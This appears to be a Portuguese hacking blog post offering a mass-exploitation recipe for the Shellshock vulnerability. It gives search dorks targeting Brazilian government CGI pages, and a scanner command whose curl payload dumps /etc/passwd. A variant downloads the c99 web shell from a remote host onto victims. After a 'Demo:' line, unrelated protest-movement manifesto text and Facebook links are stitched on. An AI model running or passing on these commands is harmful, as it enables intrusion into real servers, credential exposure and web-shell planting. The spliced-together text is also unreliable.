SCANNER [ INURL BR ] + [ SHELLSHOCK ] - Exploit em massa

Eae cybers vândalos, a galera que trabalha na área de tecnologia com certeza já ouviu falar na nova vulnerabilidade que saiu "Shellshock". para mais informações sobre a falha clique no link.

 Vamos para o que importa, nossa equipe montou uma linha de comando para ser usando com nosso scanner ( SCANNER INURL BR ) para explorar essa vulnerabilidade em massa.

[ Dorks ]

DORK[0]=> site:gov.br inurl:/cgi-sys/defaultwebpage.cgi
DORK[1]=> site:.br inurl:/cgi-sys/defaultwebpage.cgi

Lista de dorks CGI ( Créditos pela lista "Takedown" )
 http://pastebin.com/7aD2uZR3 

[ 0xComando ]

php inurlbrazil.php --dork 'inurl:/cgi-sys/defaultwebpage.cgi & inurl:defaultwebpage.cgi ext:cgi' -s ../cgi.txt3 --comand-all 'curl -A "() { :;}; /bin/cat /etc/passwd > ~/cgi-sys/inurlbr.txt" http://_TARGET_/cgi-sys/defaultwebpage.cgi;curl http://_TARGET_/cgi-sys/inurlbr.txt'

  Explicação do comando:
  "--comand-all 'curl -A "() { :;}; /bin/cat /etc/passwd > ~/cgi-sys/inurlbr.txt" http://_TARGET_/cgi-sys/defaultwebpage.cgi;curl http://_TARGET_/cgi-sys/inurlbr.txt'"

No parâmetro --comand-all ele define o exploit que vai ser usado nas url que o scanner listo, que executa o comando "cat /etc/passwd" que vai jogar todas as senhas do servidor no arquivo "~/cgi-sys/inurlbr.txt" depois ele executa o curl "curl http://_TARGET_/cgi-sys/inurlbr.txt'" para fazer a leitura do arquivo inserido!

[ Variação de comando ] 

 curl -A "() { :; }; wget http://site/c99.txt;mv c99.txt c.php" http://_TARGET_/cgi-sys/defaultwebpage.cgi

Você pode variar o comando do exploit para se adaptar a sua vontade ou exploração.

Demo:

MANIFESTO NACIONAL APOIO AOS IRMÃOS E IRMÃS CARIOCAS!

APOIO AOS IRMÃOS E IRMÃS CARIOCAS!

Este é o maior medo de governos corruptos, a união!

Querem semear a discórdia no movimento, dividir-nos, colocar-nos uns contra os outros. E nós respondemos: somos diferentes, somos muitos e estamos juntos.

Durante os protestos ocorridos nessa segunda feira dia 22 no Rio de Janeiro, que foram motivados pelos altos gastos do dinheiro publico com a vinda do Papa para o Brasil, os manifestantes sofreram forte repressão policial, foram cercados, atacados, criminalizados e a mídia que fazia a cobertura do evento foi fortemente repreendida e caçada em meio aos manifestantes.

Calar é Consentir! Omitir-se é Concordar! Ignorar é Incentivar Ataques!

Se essa era a deixa que precisávamos para voltarmos em peso para rua não vamos deixar isto passar.
Evento Nacional escolha seu estado ou cidade e vá á luta:

https://www.facebook.com/events/393661884073779/

“Se você não for cuidadoso, os jornais farão você odiar as pessoas que estão sendo oprimidas, e amar as pessoas que estão oprimindo.” ~ Malcolm X

Ativismo Nacional Transformando ideias em democracia.

Transformando ideias em democracia

Página:https://www.facebook.com/AtivismoNacional/
Grupo: https://www.facebook.com/groups/Ativismonacional/

‎#AtivismoNacional
O Ativismo Nacional é um movimento criado e pensado pelo povo. É um movimento de união. União de forças e objetivos para o bem maior de todos.





Tem o intuito de fundir as diversas reivindicações, aclamadas através das ruas e movimentos sociais, em uma luta nacional única, focada exclusivamente no crescimento do Brasil como um todo.

Acreditamos, incentivamos e apoiamos movimentos estaduais e municipais em paralelo ao movimento federal. Mas não podemos negar a extrema urgência de união nacional! Prezamos o uso direcionado e eficaz de nossas forças. Essa força a pouco redescoberta, e já recompensada com um alvoroço de vitorias. Delas podemos constatar que se exercermos nossos deveres com a pátria, nossos direitos serão automaticamente respeitados.

Aprendemos que a pátria somos nós e não fraquejaremos!

Ativismo Nacional - BR: Página voltada para unir todas forças de protestos Brasileiros.

Ativismo Nacional - BR: 

Página voltada para unir todas forças de protestos Brasileiros.
O movimento 'Ativismo Nacional' iniciou com a revolta pelo aumento no preço das passagens, que desencadeou os gritos contra todas as enfermidades do país a muito trancados na garganta de cada brasileiro, já cansado de todo mal que os afeta e martiriza de norte a sul. É sabido que a maioria dos problemas deste país se deve à incompetência e imoralidade da administração pública, conhecidos por seus escândalos e desvios de dinheiro público, NOSSO DINHEIRO!!

Em contra disso o povo está aguentando dignamente bala de borracha, gás, spray, difamação. Temos estudantes sitiados dentro das universidades, manifestantes sendo abordados e presos em suas casas, nos ônibus, e nas escolas, assim como manifestantes nas linhas de frente retendo a policia enquanto podem, e se necessário, não temem em fazer uso do próprio corpo!Para alguns, vândalos, para muitos, heróis sem rosto. Mas nada disso tirou do brasileiro essa nova ciência, de que ele unido é muito mais forte.

O grito do povo, seus cartazes e apelos, é a linha para a criação da pauta nacional, direcionada à uma reforma total do sistema POLÍTICO, EDUCACIONAL, SANITÁRIO, TRIBUTÁRIO, JUDICIÁRIO..... é, a lista é longa,mas a luta é justa! Queremos uma transformação geral, queremos um Brasil de todos, queremos um Brasil justo!!

Pagina:
https://www.facebook.com/AtivismoNacional
Grupo de discução:
http://www.facebook.com/groups/679785098714158/